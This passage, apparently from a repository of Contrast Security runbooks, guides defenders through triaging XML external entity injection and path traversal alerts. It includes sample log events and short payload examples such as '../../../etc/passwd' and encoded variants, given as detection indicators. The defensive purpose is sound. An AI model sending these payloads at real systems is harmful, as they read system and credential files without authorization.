251 | - Create Exclusion 252 | - Work with the application developer on alternative implementations that do not pose such risk to the application, but meets the business needs. 253 | 254 | ## Post-Incident Activities 255 | 256 | - **Documentation** 257 | - **Incident Report:** Document the incident, including findings, raw events and alerts, actions taken, assets impacted, and lessons learned. 258 | - **Update Documentation:** Keep security runbooks and documentation up to date. 259 | - **Communication** 260 | - **Notify Stakeholders:** Inform relevant stakeholders about the incident and steps taken. 261 | - **User Notification:** Notify affected users if there was a data breach. 262 | - **Review and Improve** 263 | - **Review Response:** Conduct a post-mortem to review the response and identify improvement areas. 264 | - **Enhance Security Posture:** Implement additional security measures and improve monitoring. 265 | -------------------------------------------------------------------------------- /_incident-runbooks/xml-external-entity-injection.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: runbook 3 | title: "XML External Entity Injection" 4 | description: "Guide for addressing XXE flaws in XML parsers where attackers can cause the parser to read local or remote resources as part of the document" 5 | --- 6 | 7 | 8 | # XML External Entity Injection Runbook 9 | 10 | XXE is a flaw in XML parsers where attackers can cause the parser to read local or remote resources as part of the document. Attackers often abuse this functionality to access other sensitive system information. 11 | 12 | 13 | Example Event - Exploited outcome XML External Entity Injection 14 | `Oct 18 10:37:49 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.9.0|SECURITY|The input XML Prolog had a value that successfully exploited xxe - ]> &example; |WARN|pri=xxe src=0:0:0:0:0:0:0:1 spt=8080 request=/parse-xml requestMethod=POST app=web-application outcome=EXPLOITED` 15 | 16 | 17 | 18 | Example Event - Blocked outcome XML External Entity Injection 19 | `Oct 18 10:58:06 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.9.0|SECURITY|The input XML Prolog had a value that successfully exploited xxe - ]> &example; |WARN|pri=xxe src=0:0:0:0:0:0:0:1 spt=8080 request=/parse-xml requestMethod=POST app=web-application outcome=BLOCKED` 20 | 21 | 22 | 23 | 24 | \ 25 | What is the “outcome” of the event you are triaging? (click to proceed) 26 | 27 | - [Exploited](#exploited) 28 | - [Blocked](#blocked) 29 | 30 | - [Ineffective](#ineffective) 31 | - [Success](#success) 32 | 33 | 34 | ## Exploited 35 | 36 | "Exploited" indicates that Contrast detected an incoming input resembling an XML string containing external entities and then confirmed the declared entities were resolved by the XML parser. 37 | 38 | To verify this is a true positive, review the following attributes of the event for common indicators: 39 | 40 | - Are entity declaration keywords present in the payload? ( ]>&example;` 52 | - ` ]>&example;` 53 | 54 | \ 55 | Does the event appear to be a true positive? (click to proceed) 56 | 57 | - [No](#exploited-false-positive) 58 | - [Yes, or unsure](#exploited-true-positive) 59 | 60 | 61 | 62 | ## Blocked 63 | 64 | "Blocked" indicates that Contrast detected an incoming input resembling an XML string containing external entities and then confirmed the declared entities were being resolved by the XML parser and therefore blocked the application from performing the operation. 65 | 66 | To verify this is a true positive, review the following attributes of the event: 67 | 68 | - Are entity declaration keywords present in the payload? ( ]>&example;` 79 | - ` ]>&example;` 80 | 81 | 82 | \ 83 | Is the event a true positive? (click to proceed) 84 | 85 | - [No](#blocked-false-positive) 86 | - [Yes, or unsure](#blocked-true-positive) 87 | 88 | 89 | 90 | 91 | 92 | 93 | ## Ineffective 94 | 95 | "Ineffective" means that Contrast detected an incoming input resembling an XML external entity injection, but it did not confirm that the entities were resolved. This is called a “Probe” within the Contrast UI. This event is a real attack attempt to exploit your application, but it was ineffective. Probes can indicate an attacker scanning or exploring for vulnerabilities. 96 | 97 | - Does the probe event appear to be caused by legitimate traffic and numerous similar probe events are being generated, an [exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) can be configured to clean up Contrast data. 98 | - Is the probe originating from a specific ip[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network? Consider… 99 | - Block using network appliance 100 | - [Block using Contrast](https://docs.contrastsecurity.com/en/ip-management.html) 101 | - Are all of the events originating from the same application user account 102 | - Determine if the account is a legitimate account 103 | - If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage. 104 | - If not, consider the following options: 105 | - Ban the account 106 | - Disable the account 107 | - Delete the account 108 | 109 | \ 110 | [Proceed to Post-Incident Activities](#post-incident-activities) 111 | 112 | 113 | ## Success 114 | 115 | “Success" means that Contrast's security measures functioned as intended, preventing unauthorized access or potentially malicious activity from reaching the application. This could be due to a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html), [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html), or [bot block rule](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.) being triggered. 116 | 117 | Generally, these events don't necessitate action because they signify the system is working correctly. 118 | 119 | However, further investigation may be beneficial in specific scenarios to gain more insights or proactively enhance security: 120 | 121 | - Should the event have been blocked?: 122 | - If the event is from an [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html): 123 | - Correlate the IP address with other events to identify any attempted malicious actions. 124 | - Look up the IP address's reputation and origin to determine if it's known for malicious activity. 125 | - Check if the IP is listed on any other denylists across your systems. 126 | - If the event is from a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html): 127 | - Correlate the event with any exploited or probed events. 128 | - Confirm if the virtual patch is protecting a known vulnerability in the application. 129 | - If the event is from a [Bot Block](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.): 130 | - Analyze the user-agent header of the HTTP request. Only requests originating from known scanning, fuzzing, or malicious user-agents should be blocked. 131 | 132 | \ 133 | If the event appears to be for legitimate traffic, an [exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) can be configured. 134 | 135 | \ 136 | [Proceed to Post-Incident Activities](#post-incident-activities) 137 | 138 | 139 | ## Exploited True Positive 140 | 141 | It is possible that the event is a True Positive, but is benign. A Benign True Positive is when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 142 | 143 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 144 | 145 | \ 146 | If it does not appear to be a Benign True Positive, the most immediate action to stop an "active" attack would be to block the current attacker of the exploited event, while further triage could result in a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html)/[enabling block mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) for the rule: 147 | 148 | - Is the attack originating from a specific IP[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network? 149 | - Block using network appliance 150 | - [Block using Contrast](https://docs.contrastsecurity.com/en/ip-management.html) 151 | - Are all of the events originating from the same application user account? 152 | - Determine if the account is a legitimate account 153 | - If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage. 154 | - If not, consider the following options: 155 | - Ban the account 156 | - Disable the account 157 | - Delete the account 158 | 159 | \ 160 | \ 161 | Once the current attack has been stopped, consider taking additional steps to prevent future exploitation. 162 | 163 | - If the only “Exploited” events for this rule are true positives, then the rule can be [switched to “Block” mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) which will prevent future exploitation. 164 | - If there are other “Exploited” events that appear to be legitimate, benign traffic, then “Block” mode would block those events as well, which could have negative impact to the application. 165 | - Before enabling “Block” mode for this situation, you must first exclude the legitimate, benign traffic being caught in the rule. 166 | - Alternatively, you can set up a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html) that only allows the legitimate, benign traffic through and any non-matches will be blocked. 167 | 168 | If none of the above options are satisfactory and it's perceived the application is at great risk, you can consider shutting down the application or removing network connectivity. 169 | 170 | \ 171 | \ 172 | Post Containment 173 | 174 | - If confirmed this is a True Positive, it should be raised with the appsec/dev teams to get fixed. Useful information for those teams would be: 175 | 176 | - Application name 177 | - Is app in production, development, staging, etc 178 | - Affected URL 179 | - Attack payload 180 | - Stack trace of the request 181 | - To better understand the extent of the incident and to ensure the attack is no longer occurring, look for other IOCs: 182 | - Did the same IP Address Generate Other Alerts? 183 | - Is the vulnerability being exploited by other actors? 184 | - Spike in traffic or repeated access patterns to the vulnerable URL 185 | - Correlate exploited events with any "probed" or "blocked" events 186 | - If the attack was able to execute commands on the server, the server may need to be considered compromised and reviewed for persistence and other lateral movement. 187 | 188 | \ 189 | \ 190 | [Proceed to Post-Incident Activities](#post-incident-activities) 191 | 192 | 193 | 194 | ## Exploited False Positive 195 | 196 | If the event seems to be a False Positive, consider the following options: 197 | 198 | - Ignore 199 | - [Create Exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) 200 | 201 | \ 202 | [Proceed to Post-Incident Activities](#post-incident-activities) 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | ## Blocked True Positive 212 | 213 | It is possible that the event is a True Positive, but benign. A Benign True Positive is when an application’s design relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 214 | 215 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 216 | 217 | If it does not appear to be a Benign True Positive, consider the following options: 218 | 219 | - If one IP address is generating a lot of blocked events, it's probably worthwhile to block it. 220 | - Notify Dev/Appsec team of Vulnerability. Useful information for those teams would be: 221 | - Application name 222 | - Is app in production, development, staging, etc 223 | - Affected URL 224 | - payload 225 | - Stack trace of the request 226 | - Look for IOCs of further attacks in other parts/inputs of the application 227 | - Other blocked or probed events? 228 | - Did anything show up as "exploited" indicating a different rule did not have blocking enabled? 229 | - Ignore 230 | 231 | [Proceed to Post-Incident Activities](#post-incident-activities) 232 | 233 | 234 | 235 | ## Blocked False Positive 236 | 237 | If the event seems to be a False Positive, then Contrast may be blocking legitimate usage of the application, therefore negatively impacting it. 238 | 239 | - Create an exclusion to allow the legitimate traffic through so that you can continue to be protected by “Block” mode without the negative impact. 240 | - Alternatively, you can set up a Virtual Patch that only allows legitimate traffic through and any non-matches (attack traffic) will be blocked. 241 | - If neither of the above options are satisfactory and the negative impact of the application must be avoided, you can switch the rule to “Monitor” mode. 242 | 243 | [Proceed to Post-Incident Activities](#post-incident-activities) 244 | 245 | 246 | ## Benign True Positive 247 | 248 | To review, a Benign True Positive occurs when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. Consider the following options: 249 | 250 | - Ignore 251 | - Create Exclusion 252 | - Work with the application developer on alternative implementations that do not pose such risk to the application, but meets the business needs. 253 | 254 | ## Post-Incident Activities 255 | 256 | - **Documentation** 257 | - **Incident Report:** Document the incident, including findings, raw events and alerts, actions taken, assets impacted, and lessons learned. 258 | - **Update Documentation:** Keep security runbooks and documentation up to date. 259 | - **Communication** 260 | - **Notify Stakeholders:** Inform relevant stakeholders about the incident and steps taken. 261 | - **User Notification:** Notify affected users if there was a data breach. 262 | - **Review and Improve** 263 | - **Review Response:** Conduct a post-mortem to review the response and identify improvement areas. 264 | - **Enhance Security Posture:** Implement additional security measures and improve monitoring. 265 | -------------------------------------------------------------------------------- /_runbooks/path-traversal.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: runbook 3 | title: "Path Traversal" 4 | description: "Guide for handling attacks where unauthorized access is gained to server file system folders outside the web root through path manipulation" 5 | --- 6 | 7 | 8 | # Path Traversal Runbook 9 | 10 | Path traversal attacks use an affected application to gain unauthorized access to server file system folders that are higher in the directory hierarchy than the web root folder. A successful path traversal attack can fool a web application into reading and consequently exposing the contents of files outside of the document root directory of the application or the web server, including credentials for back-end systems, application code and data, and sensitive operating system files. If successful this can lead to unauthorized data access, data exfiltration, and remote code execution. 11 | 12 | 13 | Example Event - Exploited outcome Path Traversal 14 | `Oct 04 12:33:38 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.9.0|SECURITY|The parameter file had a value that successfully exploited path-traversal - ../../../etc/passwd|WARN|pri=path-traversal src=1.1.1.1 spt=8080 request=/file requestMethod=GET app=Web Application outcome=EXPLOITED` 15 | 16 | 17 | Example Event - Probed (or Ineffective) outcome Path Traversal 18 | `Oct 04 12:29:32 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.9.0|SECURITY|The URI URI had a value that matched a signature for, but did not successfully exploit, path-traversal - /file=/etc/passwd|WARN|pri=path-traversal src=1.1.1.1 spt=8080 request=/file=/etc/passwd requestMethod=GET app=Web Application outcome=INEFFECTIVE` 19 | 20 | 21 | 22 | 23 | 24 | \ 25 | What is the “outcome” of the event you are triaging? (click to proceed) 26 | 27 | - [Exploited](#exploited) 28 | - [Blocked](#blocked) 29 | 30 | - [Ineffective](#ineffective) 31 | - [Success](#success) 32 | 33 | 34 | ## Exploited 35 | 36 | An "Exploited" outcome means Contrast detected an input resembling a Path Traversal attack that reached a vulnerable file operation, and then successfully manipulated that operation to access a file outside the intended directory. 37 | 38 | To verify this is a true positive, review the following attributes of the event for common indicators: 39 | 40 | - Are there plain or encoded path traversal sequences present? (../, %2e%2e%2f) 41 | - Are suspicious files or paths being requested? (/etc/shadow, /etc/passwd, c:\windows\system32\, etc) 42 | - Are any known file security bypasses present in the file path? (::$DATA, ::$Index, (null byte)) 43 | - Are unexpected files present in the filesystem? 44 | - Is the IP address from a pentester or known vulnerability scanner IP? 45 | - Are there application logs with file operation related error messages around the same timestamp as the event? 46 | 47 | 48 | 49 | \ 50 | Examples: 51 | 52 | - `../../../etc/passwd` 53 | - `%2e%2e%2fetc%2fpasswd` 54 | - `\../\../\etc/\password` 55 | - `..0x2f..0x2fetc0x2fpasswd` 56 | 57 | \ 58 | Does the event appear to be a true positive? (click to proceed) 59 | 60 | - [No](#exploited-false-positive) 61 | - [Yes, or unsure](#exploited-true-positive) 62 | 63 | 64 | 65 | ## Blocked 66 | 67 | "Blocked" means Contrast detected an input resembling a Path Traversal attack that reached a vulnerable file operation, and therefore blocked the application from performing the operation 68 | 69 | To verify this is a true positive, review the following attributes of the event: 70 | 71 | - Are there plain or encoded path traversal sequences present? (../, %2e%2e%2f) 72 | - Are suspicious files or paths being requested? (/etc/shadow, /etc/passwd, c:\windows\system32\, etc) 73 | - Are any known file security bypasses present in the file path? (::$DATA, ::$Index, (null byte)) 74 | - Are unexpected files present in the filesystem? 75 | - Is the IP address from a pentester or known vulnerability scanner IP? 76 | - Are there application logs with file operation related error messages around the same timestamp as the event? 77 | 78 | 79 | \ 80 | Examples: 81 | 82 | - `../../../etc/passwd` 83 | - `%2e%2e%2fetc%2fpasswd` 84 | - `\../\../\etc/\password` 85 | - `..0x2f..0x2fetc0x2fpasswd` 86 | 87 | 88 | \ 89 | Is the event a true positive? (click to proceed) 90 | 91 | - [No](#blocked-false-positive) 92 | - [Yes, or unsure](#blocked-true-positive) 93 | 94 | 95 | 96 | 97 | 98 | 99 | ## Ineffective 100 | 101 | "Ineffective" means Contrast detected an input coming into an application that looked like Path Traversal, but did not confirm that the input was used in a file operation. This is called a “Probe” within the Contrast UI. This event is a real attack attempt to exploit your application, but it was ineffective. Probes can indicate an attacker scanning or exploring for vulnerabilities. 102 | 103 | - Does the probe event appear to be caused by legitimate traffic and numerous similar probe events are being generated, an [exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) can be configured to clean up Contrast data. 104 | - Is the probe originating from a specific ip[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network? Consider… 105 | - Block using network appliance 106 | - [Block using Contrast](https://docs.contrastsecurity.com/en/ip-management.html) 107 | - Are all of the events originating from the same application user account 108 | - Determine if the account is a legitimate account 109 | - If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage. 110 | - If not, consider the following options: 111 | - Ban the account 112 | - Disable the account 113 | - Delete the account 114 | 115 | \ 116 | [Proceed to Post-Incident Activities](#post-incident-activities) 117 | 118 | 119 | ## Success 120 | 121 | “Success" means that Contrast's security measures functioned as intended, preventing unauthorized access or potentially malicious activity from reaching the application. This could be due to a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html), [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html), or [bot block rule](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.) being triggered. 122 | 123 | Generally, these events don't necessitate action because they signify the system is working correctly. 124 | 125 | However, further investigation may be beneficial in specific scenarios to gain more insights or proactively enhance security: 126 | 127 | - Should the event have been blocked?: 128 | - If the event is from an [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html): 129 | - Correlate the IP address with other events to identify any attempted malicious actions. 130 | - Look up the IP address's reputation and origin to determine if it's known for malicious activity. 131 | - Check if the IP is listed on any other denylists across your systems. 132 | - If the event is from a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html): 133 | - Correlate the event with any exploited or probed events. 134 | - Confirm if the virtual patch is protecting a known vulnerability in the application. 135 | - If the event is from a [Bot Block](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.): 136 | - Analyze the user-agent header of the HTTP request. Only requests originating from known scanning, fuzzing, or malicious user-agents should be blocked. 137 | 138 | \ 139 | If the event appears to be for legitimate traffic, an [exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) can be configured. 140 | 141 | \ 142 | [Proceed to Post-Incident Activities](#post-incident-activities) 143 | 144 | 145 | ## Exploited True Positive 146 | 147 | It is possible that the event is a True Positive, but is benign. A Benign True Positive is when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 148 | 149 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 150 | 151 | \ 152 | If it does not appear to be a Benign True Positive, the most immediate action to stop an "active" attack would be to block the current attacker of the exploited event, while further triage could result in a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html)/[enabling block mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) for the rule: 153 | 154 | - Is the attack originating from a specific IP[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network? 155 | - Block using network appliance 156 | - [Block using Contrast](https://docs.contrastsecurity.com/en/ip-management.html) 157 | - Are all of the events originating from the same application user account? 158 | - Determine if the account is a legitimate account 159 | - If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage. 160 | - If not, consider the following options: 161 | - Ban the account 162 | - Disable the account 163 | - Delete the account 164 | 165 | \ 166 | \ 167 | Once the current attack has been stopped, consider taking additional steps to prevent future exploitation. 168 | 169 | - If the only “Exploited” events for this rule are true positives, then the rule can be [switched to “Block” mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) which will prevent future exploitation. 170 | - If there are other “Exploited” events that appear to be legitimate, benign traffic, then “Block” mode would block those events as well, which could have negative impact to the application. 171 | - Before enabling “Block” mode for this situation, you must first exclude the legitimate, benign traffic being caught in the rule. 172 | - Alternatively, you can set up a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html) that only allows the legitimate, benign traffic through and any non-matches will be blocked. 173 | 174 | If none of the above options are satisfactory and it's perceived the application is at great risk, you can consider shutting down the application or removing network connectivity. 175 | 176 | \ 177 | \ 178 | Post Containment 179 | 180 | - If confirmed this is a True Positive, it should be raised with the appsec/dev teams to get fixed. Useful information for those teams would be: 181 | 182 | - Application name 183 | - Is app in production, development, staging, etc 184 | - Affected URL 185 | - Attack payload 186 | - Stack trace of the request 187 | - To better understand the extent of the incident and to ensure the attack is no longer occurring, look for other IOCs: 188 | - Did the same IP Address Generate Other Alerts? 189 | - Is the vulnerability being exploited by other actors? 190 | - Spike in traffic or repeated access patterns to the vulnerable URL 191 | - Correlate exploited events with any "probed" or "blocked" events 192 | - If the attack was able to execute commands on the server, the server may need to be considered compromised and reviewed for persistence and other lateral movement. 193 | 194 | \ 195 | \ 196 | [Proceed to Post-Incident Activities](#post-incident-activities) 197 | 198 | 199 | 200 | ## Exploited False Positive 201 | 202 | If the event seems to be a False Positive, consider the following options: 203 | 204 | - Ignore 205 | - [Create Exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) 206 | 207 | \ 208 | [Proceed to Post-Incident Activities](#post-incident-activities) 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | ## Blocked True Positive 218 | 219 | It is possible that the event is a True Positive, but benign. A Benign True Positive is when an application’s design relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 220 | 221 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 222 | 223 | If it does not appear to be a Benign True Positive, consider the following options: 224 | 225 | - If one IP address is generating a lot of blocked events, it's probably worthwhile to block it. 226 | - Notify Dev/Appsec team of Vulnerability. Useful information for those teams would be: 227 | - Application name 228 | - Is app in production, development, staging, etc 229 | - Affected URL 230 | - payload 231 | - Stack trace of the request 232 | - Look for IOCs of further attacks in other parts/inputs of the application 233 | - Other blocked or probed events? 234 | - Did anything show up as "exploited" indicating a different rule did not have blocking enabled? 235 | - Ignore 236 | 237 | [Proceed to Post-Incident Activities](#post-incident-activities) 238 | 239 | 240 | 241 | ## Blocked False Positive 242 | 243 | If the event seems to be a False Positive, then Contrast may be blocking legitimate usage of the application, therefore negatively impacting it. 244 | 245 | - Create an exclusion to allow the legitimate traffic through so that you can continue to be protected by “Block” mode without the negative impact. 246 | - Alternatively, you can set up a Virtual Patch that only allows legitimate traffic through and any non-matches (attack traffic) will be blocked. 247 | - If neither of the above options are satisfactory and the negative impact of the application must be avoided, you can switch the rule to “Monitor” mode. 248 | 249 | [Proceed to Post-Incident Activities](#post-incident-activities) 250 | 251 | 252 | ## Benign True Positive 253 | 254 | To review, a Benign True Positive occurs when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. Consider the following options: 255 | 256 | - Ignore 257 | - Create Exclusion 258 | - Work with the application developer on alternative implementations that do not pose such risk to the application, but meets the business needs. 259 | 260 | ## Post-Incident Activities 261 | 262 | - **Documentation** 263 | - **Incident Report:** Document the incident, including findings, raw events and alerts, actions taken, assets impacted, and lessons learned. 264 | - **Update Documentation:** Keep security runbooks and documentation up to date. 265 | - **Communication** 266 | - **Notify Stakeholders:** Inform relevant stakeholders about the incident and steps taken. 267 | - **User Notification:** Notify affected users if there was a data breach. 268 | - **Review and Improve** 269 | - **Review Response:** Conduct a post-mortem to review the response and identify improvement areas. 270 | - **Enhance Security Posture:** Implement additional security measures and improve monitoring. 271 | -------------------------------------------------------------------------------- /_incident-runbooks/path-traversal.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: runbook 3 | title: "Path Traversal" 4 | description: "Guide for handling attacks where unauthorized access is gained to server file system folders outside the web root through path manipulation" 5 | --- 6 | 7 | 8 | # Path Traversal Runbook 9 | 10 | Path traversal attacks use an affected application to gain unauthorized access to server file system folders that are higher in the directory hierarchy than the web root folder. A successful path traversal attack can fool a web application into reading and consequently exposing the contents of files outside of the document root directory of the application or the web server, including credentials for back-end systems, application code and data, and sensitive operating system files. If successful this can lead to unauthorized data access, data exfiltration, and remote code execution. 11 | 12 | 13 | Example Event - Exploited outcome Path Traversal 14 | `Oct 04 12:33:38 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.9.0|SECURITY|The parameter file had a value that successfully exploited path-traversal - ../../../etc/passwd|WARN|pri=path-traversal src=1.1.1.1 spt=8080 request=/file requestMethod=GET app=Web Application outcome=EXPLOITED` 15 | 16 | 17 | Example Event - Probed (or Ineffective) outcome Path Traversal 18 | `Oct 04 12:29:32 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.9.0|SECURITY|The URI URI had a value that matched a signature for, but did not successfully exploit, path-traversal - /file=/etc/passwd|WARN|pri=path-traversal src=1.1.1.1 spt=8080 request=/file=/etc/passwd requestMethod=GET app=Web Application outcome=INEFFECTIVE` 19 | 20 | 21 | 22 | 23 | 24 | \ 25 | What is the “outcome” of the event you are triaging? (click to proceed) 26 | 27 | - [Exploited](#exploited) 28 | - [Blocked](#blocked) 29 | 30 | - [Ineffective](#ineffective) 31 | - [Success](#success) 32 | 33 | 34 | ## Exploited 35 | 36 | An "Exploited" outcome means Contrast detected an input resembling a Path Traversal attack that reached a vulnerable file operation, and then successfully manipulated that operation to access a file outside the intended directory. 37 | 38 | To verify this is a true positive, review the following attributes of the event for common indicators: 39 | 40 | - Are there plain or encoded path traversal sequences present? (../, %2e%2e%2f) 41 | - Are suspicious files or paths being requested? (/etc/shadow, /etc/passwd, c:\windows\system32\, etc) 42 | - Are any known file security bypasses present in the file path? (::$DATA, ::$Index, (null byte)) 43 | - Are unexpected files present in the filesystem? 44 | - Is the IP address from a pentester or known vulnerability scanner IP? 45 | - Are there application logs with file operation related error messages around the same timestamp as the event? 46 | 47 | 48 | 49 | \ 50 | Examples: 51 | 52 | - `../../../etc/passwd` 53 | - `%2e%2e%2fetc%2fpasswd` 54 | - `\../\../\etc/\password` 55 | - `..0x2f..0x2fetc0x2fpasswd` 56 | 57 | \ 58 | Does the event appear to be a true positive? (click to proceed) 59 | 60 | - [No](#exploited-false-positive) 61 | - [Yes, or unsure](#exploited-true-positive) 62 | 63 | 64 | 65 | ## Blocked 66 | 67 | "Blocked" means Contrast detected an input resembling a Path Traversal attack that reached a vulnerable file operation, and therefore blocked the application from performing the operation 68 | 69 | To verify this is a true positive, review the following attributes of the event: 70 | 71 | - Are there plain or encoded path traversal sequences present? (../, %2e%2e%2f) 72 | - Are suspicious files or paths being requested? (/etc/shadow, /etc/passwd, c:\windows\system32\, etc) 73 | - Are any known file security bypasses present in the file path? (::$DATA, ::$Index, (null byte)) 74 | - Are unexpected files present in the filesystem? 75 | - Is the IP address from a pentester or known vulnerability scanner IP? 76 | - Are there application logs with file operation related error messages around the same timestamp as the event? 77 | 78 | 79 | \ 80 | Examples: 81 | 82 | - `../../../etc/passwd` 83 | - `%2e%2e%2fetc%2fpasswd` 84 | - `\../\../\etc/\password` 85 | - `..0x2f..0x2fetc0x2fpasswd` 86 | 87 | 88 | \ 89 | Is the event a true positive? (click to proceed) 90 | 91 | - [No](#blocked-false-positive) 92 | - [Yes, or unsure](#blocked-true-positive) 93 | 94 | 95 | 96 | 97 | 98 | 99 | ## Ineffective 100 | 101 | "Ineffective" means Contrast detected an input coming into an application that looked like Path Traversal, but did not confirm that the input was used in a file operation. This is called a “Probe” within the Contrast UI. This event is a real attack attempt to exploit your application, but it was ineffective. Probes can indicate an attacker scanning or exploring for vulnerabilities. 102 | 103 | - Does the probe event appear to be caused by legitimate traffic and numerous similar probe events are being generated, an [exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) can be configured to clean up Contrast data. 104 | - Is the probe originating from a specific ip[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network? Consider… 105 | - Block using network appliance 106 | - [Block using Contrast](https://docs.contrastsecurity.com/en/ip-management.html) 107 | - Are all of the events originating from the same application user account 108 | - Determine if the account is a legitimate account 109 | - If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage. 110 | - If not, consider the following options: 111 | - Ban the account 112 | - Disable the account 113 | - Delete the account 114 | 115 | \ 116 | [Proceed to Post-Incident Activities](#post-incident-activities) 117 | 118 | 119 | ## Success 120 | 121 | “Success" means that Contrast's security measures functioned as intended, preventing unauthorized access or potentially malicious activity from reaching the application. This could be due to a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html), [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html), or [bot block rule](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.) being triggered. 122 | 123 | Generally, these events don't necessitate action because they signify the system is working correctly. 124 | 125 | However, further investigation may be beneficial in specific scenarios to gain more insights or proactively enhance security: 126 | 127 | - Should the event have been blocked?: 128 | - If the event is from an [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html): 129 | - Correlate the IP address with other events to identify any attempted malicious actions. 130 | - Look up the IP address's reputation and origin to determine if it's known for malicious activity. 131 | - Check if the IP is listed on any other denylists across your systems. 132 | - If the event is from a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html): 133 | - Correlate the event with any exploited or probed events. 134 | - Confirm if the virtual patch is protecting a known vulnerability in the application. 135 | - If the event is from a [Bot Block](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.): 136 | - Analyze the user-agent header of the HTTP request. Only requests originating from known scanning, fuzzing, or malicious user-agents should be blocked. 137 | 138 | \ 139 | If the event appears to be for legitimate traffic, an [exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) can be configured. 140 | 141 | \ 142 | [Proceed to Post-Incident Activities](#post-incident-activities) 143 | 144 | 145 | ## Exploited True Positive 146 | 147 | It is possible that the event is a True Positive, but is benign. A Benign True Positive is when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 148 | 149 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 150 | 151 | \ 152 | If it does not appear to be a Benign True Positive, the most immediate action to stop an "active" attack would be to block the current attacker of the exploited event, while further triage could result in a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html)/[enabling block mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) for the rule: 153 | 154 | - Is the attack originating from a specific IP[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network? 155 | - Block using network appliance 156 | - [Block using Contrast](https://docs.contrastsecurity.com/en/ip-management.html) 157 | - Are all of the events originating from the same application user account? 158 | - Determine if the account is a legitimate account 159 | - If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage. 160 | - If not, consider the following options: 161 | - Ban the account 162 | - Disable the account 163 | - Delete the account 164 | 165 | \ 166 | \ 167 | Once the current attack has been stopped, 